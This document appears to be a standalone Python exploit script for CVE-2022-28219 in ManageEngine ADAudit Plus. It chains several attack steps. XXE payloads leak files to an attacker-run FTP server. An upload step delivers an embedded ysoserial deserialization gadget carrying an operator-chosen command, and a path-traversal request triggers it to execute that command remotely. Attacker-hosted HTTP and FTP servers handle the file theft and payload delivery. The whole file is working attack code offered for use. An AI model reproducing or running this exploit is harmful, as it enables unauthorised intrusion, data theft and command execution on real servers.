README.md
Rendering markdown...
from argparse import ArgumentParser
import http.server
import socketserver
from urllib.parse import urlparse
from functools import partial
import sys
from time import sleep
from threading import Thread
from queue import Queue, Empty
import requests
import base64
import json
import struct
import random
import string
GET_FILE_OR_DIR_TEMPLATE = """[
{{
"DomainName": "{domain}",
"EventCode": 4688,
"EventType": 0,
"TimeGenerated": 0,
"Task Content": "<?xml version=\\"1.0\\" encoding=\\"UTF-8\\"?><!DOCTYPE data [<!ENTITY % start \\"<![CDATA[\\"><!ENTITY % file SYSTEM \\"file:{path}\\"><!ENTITY % end \\"]]>\\"><!ENTITY % dtd SYSTEM \\"http://{lhost}:{lport}/data.dtd\\"> %dtd;]><data>&send;</data>"
}}
]"""
UPLOAD_JAR_TEMPLATE = """[
{{
"DomainName": "{domain}",
"EventCode": 4688,
"EventType": 0,
"TimeGenerated": 0,
"Task Content": "<?xml version=\\"1.0\\" encoding=\\"UTF-8\\"?><!DOCTYPE foo [ <!ENTITY % xxe SYSTEM \\"jar:http://{lhost}:{lport}/upload.jar!/file.txt\\"> %xxe; ]>"
}}
]
"""
FTP_RECV_QUEUE = Queue()
WEB_RECV_QUEUE = Queue()
WEB_COMMAND_QUEUE = Queue()
WEB_RELEASE_QUEUE = Queue()
# Web server used to host dtd and implement jar file upload
# Based on:
# https://github.com/pwntester/BlockingServer
# https://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf
class WebHandler(http.server.BaseHTTPRequestHandler):
def __init__(self, *args, dtd_payload=None, **kwargs):
self._dtd_payload = dtd_payload
self._command = None
super().__init__(*args, **kwargs)
def _generate_payload(self, command):
# https://github.com/rapid7/metasploit-framework/blob/4cf3ae352c0ea2c52330950f518ea6c9eb0381c7/lib/msf/util/java_deserialization.rb#L12
# CommonsBeanutils1
length_offsets = [577, 1809]
buffer_offset = 1810
payload = 'rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABtHK/rq+AAAAMwA/CgADACIHAD0HACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAQamF2YS9sYW5nL1N0cmluZwcAMAEAB2NtZC5leGUIADIBAAIvYwgANAEAAAgANgEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAA4ADkKACsAOgEADVN0YWNrTWFwVGFibGUBAB15c29zZXJpYWwvUHduZXIwMDAwMDAwMDAwMDAwMAEAH0x5c29zZXJpYWwvUHduZXIwMDAwMDAwMDAwMDAwMDsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAwAA4AAAAMAAEAAAAFAA8APgAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA1AA4AAAAgAAMAAAABAA8APgAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA5AA4AAAAqAAQAAAABAA8APgAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAA1AAYAAgAAACCnAAMBTLgALwa9ADFZAxIzU1kEEjVTWQUSN1O2ADtXsQAAAAEAPAAAAAMAAQMAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACXVxAH4AEAAAAdTK/rq+AAAAMwAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAA9AA4AAAAMAAEAAAAFAA8AEgAAAAIAEwAAAAIAFAARAAAACgABAAIAFgAQAAlwdAAEUHducnB3AQB4cQB+AA14'
payload_bytes = bytearray(base64.b64decode(payload))
payload_bytes = payload_bytes[:buffer_offset] + command.encode() + payload_bytes[buffer_offset:]
for l in length_offsets:
length = struct.unpack('>H', payload_bytes[l-1:l+1])[0]
length += len(command)
payload_bytes[l-1:l+1] = struct.pack('>H', length)
rand1 = ''.join([random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits) for i in range(0, 29)])
rand2 = ''.join([random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits) for i in range(0, 9)])
payload_bytes = payload_bytes.replace(b'ysoserial/Pwner00000000000000', rand1.encode())
payload_bytes = payload_bytes.replace(b'ysoserial', rand2.encode())
return bytes(payload_bytes)
def do_GET(self):
parsed = urlparse(self.path)
if parsed.path.lower().strip() == '/data.dtd':
self.send_response(200)
self.end_headers()
self.wfile.write(self._dtd_payload.encode())
return
elif parsed.path.lower().strip().startswith('/upload.jar'):
try:
self._command = WEB_COMMAND_QUEUE.get(timeout=1)
except:
pass
if not self._command:
sys.stderr.write('No command to generate exploit payload\n')
self.send_response(404)
self.end_headers()
else:
print(f'HTTP Server: Generated payload for command: {self._command}')
payload_bytes = self._generate_payload(self._command)
self.send_response(200)
self.send_header('Content-Type', 'application/java-archive')
self.end_headers()
self.wfile.write(payload_bytes)
self.wfile.flush()
print('HTTP Server: Blocking full transmission of jar file upload')
WEB_RECV_QUEUE.put('Upload jar sent')
try:
WEB_RELEASE_QUEUE.get(timeout=300)
except:
pass
else:
sys.stderr.write(f'HTTP Server: No file for path {parsed.path}\n')
self.send_response(404)
self.end_headers()
# XXE FTP exfil server
# https://github.com/LandGrey/xxe-ftp-server
# https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/python/xxe-server.py
# https://staaldraad.github.io/2016/12/11/xxeftp/
class FTPHandler(socketserver.BaseRequestHandler):
def _send_txt(self, s):
print(f'FTP Server > {s}')
self.request.sendall(s.encode() + b'\n')
def _recv_text(self):
ret = self.request.recv(4096).strip().decode(errors='ignore')
print(f'FTP Server < {ret}')
return ret
def handle(self):
self.request.settimeout(7)
print(f'FTP Server: Received connection from {self.client_address[0]}')
self._send_txt('220 FTP Server')
added_to_queue = False
recv_file = ''
try:
while True:
data = self._recv_text()
if data.startswith('CWD '):
recv_file += data.lstrip('CWD ') + '/'
if data.startswith('RETR '):
recv_file += data.lstrip('RETR ')
FTP_RECV_QUEUE.put(recv_file)
added_to_queue = True
elif 'LIST' in data:
self._send_txt('drwxrwxrwx 1 owner group 1 Feb 21 01:11 rsl')
self._send_txt('150 Opening BINARY mode data connection for /bin/ls')
self._send_txt('226 Transfer complete.')
elif 'USER' in data:
self._send_txt('331 password please - version check')
elif 'PORT' in data:
self._send_txt('200 PORT command ok')
elif 'SYST' in data:
self._send_txt('215 RSL')
elif data.startswith('QUIT'):
print(f'Client closed connection, might be Java version >= 8u131')
break
else:
self._send_txt('230 more data please!')
except Exception as e:
print(f'FTP Server: {e}\n')
print (f'FTP Server: Connection from {self.client_address[0]} closed')
if recv_file and not added_to_queue:
FTP_RECV_QUEUE.put(recv_file)
class ExploitClient:
def __init__(self, target_url, domain, lhost, http_port):
self._target_url = target_url
self._agent_data_endpoint = target_url.rstrip('/') + '/api/agent/tabs/agentData'
self._cewolf_endpoint = target_url.rstrip('/') + '/cewolf/logo.png'
self._domain = domain
self._lhost = lhost
self._http_port = http_port
def check_vulnerable(self):
try:
r = requests.get(self._cewolf_endpoint, timeout=20, verify=False)
if r.status_code == 200 and 'Cewolf servlet up' in r.text:
print(f'Exploit Client: Target {self._target_url} is vulnerable to CVE-2022-28219')
return True
except Exception as e:
print(f'Exploit Client: Request to get {self._cewolf_endpoint} failed with exception {e}')
print(f'Exploit Client: Target {self._target_url} is likely not vulnerable to CVE-2022-28219')
return False
def fetch(self, path):
payload = GET_FILE_OR_DIR_TEMPLATE.format(domain=self._domain, path=path, lhost=self._lhost, lport=self._http_port)
try:
r = requests.post(self._agent_data_endpoint, json=json.loads(payload), verify=False, timeout=20)
if r.status_code == 200:
print(f'Exploit Client: Sent request to get {path}, got response: {r.text}')
return True
else:
print(f'Exploit Client: Request to get {path} failed with code: {r.status_code} and response {r.text}')
except Exception as e:
print(f'Exploit Client: Request to get {path} failed with exception {e}')
return False
def upload_payload(self):
payload = UPLOAD_JAR_TEMPLATE.format(domain=self._domain, lhost=self._lhost, lport=self._http_port)
try:
r = requests.post(self._agent_data_endpoint, json=json.loads(payload), verify=False, timeout=20)
if r.status_code == 200:
print(f'Exploit Client: Sent request to upload payload, got response {r.text}')
return True
else:
print(f'Exploit Client: Request to upload payload failed with code: {r.status_code} and response {r.text}')
except Exception as e:
print(f'Exploit Client: Request to upload payload failed with exception {e}')
return False
def trigger_payload(self, path):
try:
# strip c:/ from beginning of path
r = requests.get(f'{self._cewolf_endpoint}?img=/../../../../../../../../../../../../../{path}', verify=False, timeout=20)
if r.status_code == 200:
print(f'Exploit Client: Sent request to trigger payload at path {path}')
return True
else:
print(f'Exploit Client: Request to trigger payload at path {path} failed with code: {r.status_code} and response {r.text}')
except Exception as e:
print(f'Exploit Client: Request to trigger payload at path {path} failed with exception {e}')
return False
def _start_server(server):
try:
t = Thread(target=server.serve_forever)
t.daemon = True
t.start()
except Exception as e:
sys.stderr.write(f'Error starting server: {e}\n')
sys.exit(1)
def _receive_data(timeout=15):
try:
data = FTP_RECV_QUEUE.get(timeout=timeout)
return data
except Empty:
print('No data received')
return None
except Exception as e:
sys.stderr.write(f'Unexpected error receiving data from FTP server: {e}\n')
return None
def _get_local_users(client):
if client.fetch('/users/'):
d = _receive_data()
if not d:
print(f'Failed to retrieve users')
return []
users = [u.strip() for u in d.splitlines() if u.strip() and u.strip() not in ['Default', 'Default User', 'All Users', 'desktop.ini', 'Public']]
if users:
print(f'Found non-default users: {users}')
else:
print(f'Could not find any users')
return users
return []
def _upload_payload(client, timeout=30):
if client.upload_payload():
try:
WEB_RECV_QUEUE.get(timeout=timeout)
return True
except Empty:
print('No data received')
return False
except Exception as e:
sys.stderr.write(f'Unexpected error receiving data from web server: {e}\n')
return False
return False
def _locate_payload(client, users):
ret = []
paths = []
for u in users:
if u.lower() == 'localsystem':
paths += ['/windows/system32/config/systemprofile/appdata/local/temp/', '/windows/syswow64/config/systemprofile/appdata/local/temp/', '/windows/temp/']
else:
paths.append(f'/users/{u}/appdata/local/temp/')
# breadth first search in temp dirs
while len(paths) > 0:
if client.fetch(paths[0]):
d = _receive_data()
if d is not None:
files = [f.strip() for f in d.splitlines()]
for f in files:
if f.lower().startswith('jar') and f.lower().endswith('.tmp'):
ret.append(paths[0] + f)
print(f'Found potential payload at {paths[0] + f}')
elif not '.' in f.lower(): # exclude files
paths.append(paths[0] + f + '/')
if ret:
return paths[0], ret
else:
print(f'Could not find payload at {paths[0]}')
paths.remove(paths[0])
sleep(8)
return None, ret
def _get_file(client, path):
if client.fetch(path):
d = _receive_data()
if not d:
print(f'Failed to retrieve file at {path}')
else:
print(f'\n\n\n\nReceived file:\n\n{d}')
return d
return None
def _run_exploit(client, users, command):
# Upload the 'jar' file payload
WEB_COMMAND_QUEUE.put(command)
if not _upload_payload(client):
return None
sleep(8)
# Locate the payload in one of the user's tmp directories
_, payload_paths = _locate_payload(client, users)
if not payload_paths:
return None
# Trigger payload - should just be one but there may be multiple, fire them all
for p in payload_paths:
client.trigger_payload(p)
sleep(3)
# gracefully close the connection to clean up the temp file on the server
WEB_RELEASE_QUEUE.put('release')
sleep(1)
def _parse_args():
parser = ArgumentParser()
parser.add_argument('-t', '--target', help='target URL with port', required=True)
parser.add_argument('-l', '--lhost', help='local bind IP', required=True)
parser.add_argument('-d', '--domain', help='fully qualified domain served by ADAudit Plus', required=True)
parser.add_argument('-lhp', '--http-port', help='local HTTP port to bind to', default=8080, type=int)
parser.add_argument('-lfp', '--ftp-port', help='local FTP port to bind to', default=2121, type=int)
parser.add_argument('-f', '--file', help='get file or directory listing at given path, use forward slashes and don\'t include drive, e.g. /windows/win.ini or /users', required=False)
parser.add_argument('-c', '--command', help='command to execute, e.g. calc.exe', required=False)
parser.add_argument('-u', '--user', help='user running ADAudit Plus app, useful for finding upload file quickly', required=False)
return parser.parse_args()
def main():
args = _parse_args()
if not args.file and not args.command:
sys.stderr.write('Either the file or command arg must be set\n')
sys.exit(1)
elif args.file and args.command:
sys.stderr.write('Only one of the file or command arg must be set\n')
sys.exit(1)
dtd_payload = """<!ENTITY % all "<!ENTITY send SYSTEM 'ftp://{}:{}/%file;'>"> %all;"""
dtd_payload = dtd_payload.format(args.lhost, args.ftp_port)
_start_server(http.server.ThreadingHTTPServer( (args.lhost, args.http_port), partial(WebHandler, dtd_payload=dtd_payload)))
_start_server( socketserver.TCPServer( (args.lhost, args.ftp_port), FTPHandler) )
client = ExploitClient(args.target, args.domain.lower(), args.lhost, args.http_port)
try:
if not client.check_vulnerable():
return
if args.file: # if file arg is passed, just try to get the file and exit
d = _get_file(client, args.file)
return
# else we're in command mode
# let's grab a file first to check if XXE -> RCE is possible
d = _get_file(client, '/windows/win.ini')
if not d:
print('Failed to leak /windows/win.ini file, XXE may not be exploitable to leak files (Java version >= 8u131')
return
# Fetch users, we need this to locate upload payload to trigger deserialization
if args.user:
users = [args.user]
else:
users = _get_local_users(client)
if not users:
print('No users found, using default list')
users = ['administrator']
users.append('localsystem')
sleep(8)
_run_exploit(client, users, args.command)
return
except Exception as e:
sys.stderr.write(f'Unexpected error: {e}\n')
sys.exit(1)
if __name__ == '__main__':
main()